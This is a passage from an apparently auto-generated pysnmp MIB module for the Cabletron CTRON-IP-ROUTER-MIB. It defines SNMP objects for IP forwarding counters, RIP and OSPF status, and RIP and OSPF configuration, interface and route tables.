nwIpFwdIfCtrHostOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 19), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostOutPkts.setStatus('mandatory')
nwIpFwdIfCtrHostDiscardPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 20), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostDiscardPkts.setStatus('mandatory')
nwIpFwdIfCtrHostInBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 21), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostInBytes.setStatus('mandatory')
nwIpFwdIfCtrHostOutBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 22), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostOutBytes.setStatus('mandatory')
nwIpFwdIfCtrHostDiscardBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 23), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostDiscardBytes.setStatus('mandatory')
nwIpRipAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipAdminStatus.setStatus('mandatory')
nwIpRipOperStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5), ("invalid-config", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipOperStatus.setStatus('mandatory')
nwIpRipAdminReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipAdminReset.setStatus('mandatory')
nwIpRipOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipOperationalTime.setStatus('mandatory')
nwIpRipVersion = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipVersion.setStatus('mandatory')
nwIpRipStackSize = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 6), Integer32().clone(4096)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipStackSize.setStatus('mandatory')
nwIpRipThreadPriority = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 7), Integer32().clone(127)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipThreadPriority.setStatus('mandatory')
nwIpRipDatabaseThreshold = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 8), Integer32().clone(2000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipDatabaseThreshold.setStatus('mandatory')
nwIpRipAgeOut = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 9), Integer32().clone(210)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipAgeOut.setStatus('mandatory')
nwIpRipHoldDown = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 10), Integer32().clone(120)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipHoldDown.setStatus('mandatory')
nwIpRipCtrAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipCtrAdminStatus.setStatus('mandatory')
nwIpRipCtrReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipCtrReset.setStatus('mandatory')
nwIpRipCtrOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 3), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrOperationalTime.setStatus('mandatory')
nwIpRipCtrInPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrInPkts.setStatus('mandatory')
nwIpRipCtrOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrOutPkts.setStatus('mandatory')
nwIpRipCtrFilteredPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrFilteredPkts.setStatus('mandatory')
nwIpRipCtrDiscardPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrDiscardPkts.setStatus('mandatory')
nwIpRipCtrInBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrInBytes.setStatus('mandatory')
nwIpRipCtrOutBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrOutBytes.setStatus('mandatory')
nwIpRipCtrFilteredBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrFilteredBytes.setStatus('mandatory')
nwIpRipCtrDiscardBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipCtrDiscardBytes.setStatus('mandatory')
nwIpRipIfTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1), )
if mibBuilder.loadTexts: nwIpRipIfTable.setStatus('mandatory')
nwIpRipIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpRipIfIndex"))
if mibBuilder.loadTexts: nwIpRipIfEntry.setStatus('mandatory')
nwIpRipIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfIndex.setStatus('mandatory')
nwIpRipIfAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfAdminStatus.setStatus('mandatory')
nwIpRipIfOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfOperStatus.setStatus('mandatory')
nwIpRipIfOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfOperationalTime.setStatus('mandatory')
nwIpRipIfVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 5), Integer32().clone(1)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfVersion.setStatus('mandatory')
nwIpRipIfAdvertisement = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 6), Integer32().clone(30)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfAdvertisement.setStatus('mandatory')
nwIpRipIfFloodDelay = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 7), Integer32().clone(2)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfFloodDelay.setStatus('mandatory')
nwIpRipIfRequestDelay = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 8), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfRequestDelay.setStatus('mandatory')
nwIpRipIfPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 9), Integer32().clone(1)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfPriority.setStatus('mandatory')
nwIpRipIfHelloTimer = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 10), Integer32().clone(10)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfHelloTimer.setStatus('mandatory')
nwIpRipIfSplitHorizon = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfSplitHorizon.setStatus('mandatory')
nwIpRipIfPoisonReverse = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfPoisonReverse.setStatus('mandatory')
nwIpRipIfSnooping = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfSnooping.setStatus('mandatory')
nwIpRipIfType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("bma", 2), ("nbma", 3))).clone('bma')).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfType.setStatus('mandatory')
nwIpRipIfXmitCost = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 15), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfXmitCost.setStatus('mandatory')
nwIpRipIfAclIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 16), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfAclIdentifier.setStatus('mandatory')
nwIpRipIfAclStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 17), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfAclStatus.setStatus('mandatory')
nwIpRipIfCtrTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1), )
if mibBuilder.loadTexts: nwIpRipIfCtrTable.setStatus('mandatory')
nwIpRipIfCtrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpRipIfCtrIfIndex"))
if mibBuilder.loadTexts: nwIpRipIfCtrEntry.setStatus('mandatory')
nwIpRipIfCtrIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrIfIndex.setStatus('mandatory')
nwIpRipIfCtrAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfCtrAdminStatus.setStatus('mandatory')
nwIpRipIfCtrReset = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipIfCtrReset.setStatus('mandatory')
nwIpRipIfCtrOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrOperationalTime.setStatus('mandatory')
nwIpRipIfCtrInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrInPkts.setStatus('mandatory')
nwIpRipIfCtrOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrOutPkts.setStatus('mandatory')
nwIpRipIfCtrFilteredPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrFilteredPkts.setStatus('mandatory')
nwIpRipIfCtrDiscardPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrDiscardPkts.setStatus('mandatory')
nwIpRipIfCtrInBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrInBytes.setStatus('mandatory')
nwIpRipIfCtrOutBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrOutBytes.setStatus('mandatory')
nwIpRipIfCtrFilteredBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrFilteredBytes.setStatus('mandatory')
nwIpRipIfCtrDiscardBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipIfCtrDiscardBytes.setStatus('mandatory')
nwIpRipRouteTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1), )
if mibBuilder.loadTexts: nwIpRipRouteTable.setStatus('mandatory')
nwIpRipRouteEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpRipRtNetId"), (0, "CTRON-IP-ROUTER-MIB", "nwIpRipRtIfIndex"), (0, "CTRON-IP-ROUTER-MIB", "nwIpRipRtSrcNode"))
if mibBuilder.loadTexts: nwIpRipRouteEntry.setStatus('mandatory')
nwIpRipRtNetId = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtNetId.setStatus('mandatory')
nwIpRipRtIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtIfIndex.setStatus('mandatory')
nwIpRipRtSrcNode = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtSrcNode.setStatus('mandatory')
nwIpRipRtMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 4), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtMask.setStatus('mandatory')
nwIpRipRtHops = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtHops.setStatus('mandatory')
nwIpRipRtAge = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 6), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtAge.setStatus('mandatory')
nwIpRipRtType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("direct", 3), ("remote", 4), ("static", 5), ("ospf", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtType.setStatus('mandatory')
nwIpRipRtFlags = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRipRtFlags.setStatus('mandatory')
nwIpOspfAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfAdminStatus.setStatus('mandatory')
nwIpOspfOperStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfOperStatus.setStatus('mandatory')
nwIpOspfAdminReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfAdminReset.setStatus('mandatory')
nwIpOspfOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfOperationalTime.setStatus('mandatory')
nwIpOspfVersion = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfVersion.setStatus('mandatory')
nwIpOspfStackSize = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 6), Integer32().clone(50000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfStackSize.setStatus('mandatory')
nwIpOspfThreadPriority = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 7), Integer32().clone(127)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfThreadPriority.setStatus('mandatory')
nwIpOspfCtrAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfCtrAdminStatus.setStatus('mandatory')
nwIpOspfCtrReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfCtrReset.setStatus('mandatory')
nwIpOspfCtrOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 3), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrOperationalTime.setStatus('mandatory')
nwIpOspfCtrInPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrInPkts.setStatus('mandatory')
nwIpOspfCtrOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrOutPkts.setStatus('mandatory')
nwIpOspfCtrFilteredPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrFilteredPkts.setStatus('mandatory')
nwIpOspfCtrDiscardPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrDiscardPkts.setStatus('mandatory')
nwIpOspfCtrInBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrInBytes.setStatus('mandatory')
nwIpOspfCtrOutBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrOutBytes.setStatus('mandatory')
nwIpOspfCtrFilteredBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrFilteredBytes.setStatus('mandatory')
nwIpOspfCtrDiscardBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfCtrDiscardBytes.setStatus('mandatory')
nwIpOspfIfTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1), )
if mibBuilder.loadTexts: nwIpOspfIfTable.setStatus('mandatory')
nwIpOspfIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpOspfIfIndex"))
if mibBuilder.loadTexts: nwIpOspfIfEntry.setStatus('mandatory')
nwIpOspfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfIndex.setStatus('mandatory')
nwIpOspfIfAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfAdminStatus.setStatus('mandatory')
